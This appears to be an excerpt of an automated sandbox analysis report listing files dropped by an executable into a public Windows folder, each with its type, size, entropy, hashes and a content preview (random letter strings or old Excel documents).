ULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\Public\filessystem\files13.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\Public\filessystem\files14.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\Public\filessystem\files15.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\Public\filessystem\files16.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\Public\filessystem\files17.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\Public\filessystem\files18.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\Public\filessystem\files19.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\Public\filessystem\files20.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\Public\filessystem\files21.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\Public\filessystem\files22.xls

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1252, Author: Kevin L. Brown, Last Saved By: Kevin L. Brown, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jul 8 05:30:37 2004, Last Saved Time/Date: Thu Jul 8 05:31:51 2004, Security: 0
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	1.6185718615500775
Encrypted:	false
SSDEEP:	96:ULVy43AgdLSUX2dIE3wvOc3xc/cc/gTpo+:ULg43AgdLSUX0wq/9/09
MD5:	277F810450728D90009B4D73D108B744
SHA1:	E7593ED30F32E4FC8FCFED05EE4E2C6191F13C68
SHA-256:	FE2ADBF024D0B5DA39CB18A17C2BAEC77111013B250993DF22C7D6770B487679
SHA-512:	C44E64D461E601073ACB8980314048D7C4004E8059F61FE4F67231942E783E8BBA0DD4198A4387AD4C918219D372843326BF8ADCF5BE43468C0891842D328B74
Malicious:	false
Preview:	......................>...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................\.p....Kevin L. Brown B.....a.........=.............................................=.....Z.[;.08.......X.@...........".......................1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.........."$"#,##0_);$"$"#,##0$..!......"$"#,##0_);[Red]$"$"#,##0$.."......"$"#,##0.00_);\("$

C:\Users\Public\filessystem\files23.xls

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1252, Author: Kevin L. Brown, Last Saved By: Kevin L. Brown, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jul 8 05:30:37 2004, Last Saved Time/Date: Thu Jul 8 05:31:51 2004, Security: 0
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	1.6185718615500775
Encrypted:	false
SSDEEP:	96:ULVy43AgdLSUX2dIE3wvOc3xc/cc/gTpo+:ULg43AgdLSUX0wq/9/09
MD5:	277F810450728D90009B4D73D108B744
SHA1:	E7593ED30F32E4FC8FCFED05EE4E2C6191F13C68
SHA-256:	FE2ADBF024D0B5DA39CB18A17C2BAEC77111013B250993DF22C7D6770B487679
SHA-512:	C44E64D461E601073ACB8980314048D7C4004E8059F61FE4F67231942E783E8BBA0DD4198A4387AD4C918219D372843326BF8ADCF5BE43468C0891842D328B74
Malicious:	false
Preview:	......................>...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................\.p....Kevin L. Brown B.....a.........=.............................................=.....Z.[;.08.......X.@...........".......................1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.........."$"#,##0_);$"$"#,##0$..!......"$"#,##0_);[Red]$"$"#,##0$.."......"$"#,##0.00_);\("$

C:\Users\Public\filessystem\files24.xls

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1252, Author: Kevin L. Brown, Last Saved By: Kevin L. Brown, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jul 8 05:30:37 2004, Last Saved Time/Date: Thu Jul 8 05:31:51 2004, Security: 0
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	1.6185718615500775
Encrypted:	false
SSDEEP:	96:ULVy43AgdLSUX2dIE3wvOc3xc/cc/gTpo+:ULg43AgdLSUX0wq/9/09
MD5:	277F810450728D90009B4D73D108B744
SHA1:	E7593ED30F32E4FC8FCFED05EE4E2C6191F13C68
SHA-256:	FE2ADBF024D0B5DA39CB18A17C2BAEC77111013B250993DF22C7D6770B487679
SHA-512:	C44E64D461E601073ACB8980314048D7C4004E8059F61FE4F67231942E783E8BBA0DD4198A4387AD4C918219D372843326BF8ADCF5BE43468C0891842D328B74
Malicious:	false
Preview:	......................>...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................\.p....Kevin L. Brown B.....a.........=.............................................=.....Z.[;.08.......X.@...........".......................1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.........."$"#,##0_);$"$"#,##0$..!......"$"#,##0_);[Red]$"$"#,##0$.."......"$"#,##0.00_);\("$

C:\Users\Public\filessystem\files25.xls

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
